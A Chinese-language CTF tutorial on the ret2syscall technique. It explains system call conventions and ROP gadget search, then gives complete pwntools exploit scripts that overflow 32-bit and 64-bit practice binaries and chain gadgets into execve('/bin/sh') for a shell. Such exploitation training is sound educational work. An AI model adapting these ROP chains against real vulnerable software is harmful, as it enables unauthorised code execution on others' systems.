8.6ret2syscall
一、系统调用
系统调用(syscall)是用户态程序请求操作系统内核服务的接口。他是应用程序与操作系统交互的核心机制,允许程序访问底层硬件、文件系统、进程管理等特权功能。
系统调用的作用:(提供安全访问机制,权限隔离,封装底层细节)
操作系统为保护系统稳定性,将运行换将分为:
用户态:普通程序运行,权限受限
内核态:操作系统核心代码运行,最高权限
流程:
1.用户程序触发系统调用:
通过
32位:int 0x80 --触发系统调用的两种方式
64位: syscall
进入内核态,参数通过寄存器传递
2.内核处理请求
3.返回结果
内核将结果存回寄存器(eax/rax)
二、常见的系统调用示例
Linux系统调用表(system call table)-CSDN博客
系统调用 功能 32位调用号(eax) 64位调用号(rax)
read 读取文件/输入 3 0
write 写入文件/输出 4 1
execve 执行程序(如/bin/sh) 11 59
exit 退出进程 1 60
open 打开文件 5 2
32位与64位区别:
特性 32位(int 0x80) 64位(syscall)
触发指令 int 0x80 syscall
调用号寄存器 eax rax
参数传递 ebx, ecx, edx, esi, edi rdi, rsi, rdx, r10, r8, r9
返回值 eax rax
典型例子 execve("/bin/sh", 0, 0) execve("/bin/sh", NULL, NULL)
三、ret2syscall
ret2syscall,即通过ROP控制程序执行系统调用,获取 shell。
ROP(面向返回的编程)是一种高级漏洞利用技术,用于绕过内存防护机制(如NX/DEP、栈不可执行),通过复用程序中已有的代码片段(gadgets)构造恶意逻辑,最终实现任意代码执行。
工具:
ROPgadget --binary 文件名 --only 'pop|ret' | grep '寄存器名'
ROPgadget --binary 文件名 --only 'int'
ROPgadget --binary 文件名 --string '/bin/sh'
四、实战
32位:
以rop题为例子:
一个开启了NX保护的32位静态的ELF可执行文件(静态文件一般比较大,可利用片段多)
发现栈溢出,静态文件不能利用libc的方法,shift+f12发现/bin/sh位于0x080BE408
,利用gets修改main函数的返回值到我们的gadgets,从而进行系统调用,在这里我们执行execve(‘bin/sh’,NULL,NULL)
因为是32位程序,进行系统调用,需要eax寄存器来存储系统调用号,利用其他寄存器放置参数,再次用int 0x80
进行触发中断
execve函数,对应值为11,0xb
所以:
eax <- 0xb
execve函数的三个参数分别对应着ebx,ecx,edx三个寄存器
ebx <- /bin/sh
ecx <- 0
edx <- 0
注意:
ecx:参数列表(argv数组),通常以NULL结尾。
edx:环境变量列表(envp数组),通常以NULL结尾
在漏洞利用时,将ecx和edx设为0是最简化的做法
接下来进行寄存器赋值:
汇编语言中有一条指令是pop xxx,可将栈顶数据弹出并存入xxx中,这个xxx可以为寄存器
利用ROPgadget,比如说 pop eax ; ret
(从栈顶弹出一个值到 eax,然后返回到下一条指令)
❯ ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
-
ROPgadget --binary rop
:分析二进制文件rop
,提取所有可用的 gadgets。 -
--only 'pop|ret'
:只显示以 pop
开头并以 ret
结尾的 gadgets(即寄存器操作+返回)。 -
| grep 'eax'
:过滤出包含 eax
寄存器的 gadgets(用于控制eax
,常用于系统调用号设置)。
查看偏移量发现是112:
exp:
from pwn import *
p=process('./rop')
int_addr=0x8049421
bin_sh_addr=0x80be408
pop_edx_ecx_ebx_ret=0x806eb90
pop_eax_ret=0x80bb196
payload=b'a'*112
payload+=p32(pop_eax_ret)+p32(0xb)
payload+=p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bin_sh_addr)
payload+=p32(int_addr)
p.sendline(payload)
p.interactive()
其他:
03ret2syscall_32
64位:
ida如图:
发现溢出,padding = 0x30 + 0x8
gadget
这里使用ropper
获取,使用pip install ropper
安装
注意: 我们使用read()
系统调用后需要send()
发送/bin/sh
写入到data
数据段中,是规定的8个字节
data:初始化的全局变量和静态变量(可读可写,不可执行)
bss:未初始化的全局变量和静态变量(可读可写可执行)
如何获取data
数据段的地址呢?
首先使用pwndbg x64_ret2syscall
,接着输入b main
断点,然后run
,最后使用vmmap(用于显示当前进程的内存映射布局)
查看
from pwn import *
p = process("./x64_ret2syscall")
p.recvuntil("Welcome to x64_ret2syscall")
buf = 0x6cc000 - 0x40
syscall = 0x0000000000467565
pop_rax_ret = 0x000000000041f5b4
pop_rdi_ret = 0x0000000000401656
pop_rsi_ret = 0x0000000000401777
pop_rdx_ret = 0x0000000000442a46
pop_rdx_rsi_ret = 0x0000000000442a69
padding = 0x30 + 0x8
payload = b"A" * padding
# read(0,buf,8)
# payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(buf) + p64(pop_rdx_ret) + p64(8)
payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rdx_rsi_ret) + p64(8) + p64(buf)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(syscall)
# execve("/bin/sh",0,0)
# payload += p64(pop_rdi_ret) + p64(buf) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(buf) + p64(pop_rdx_rsi_ret) + p64(0) + p64(0)
payload += p64(pop_rax_ret) + p64(0x3b)
payload += p64(syscall)
p.send(payload)
p.send("/bin/sh") #/bin/sh 只是作为数据参数传递给系统调用。
p.interactive()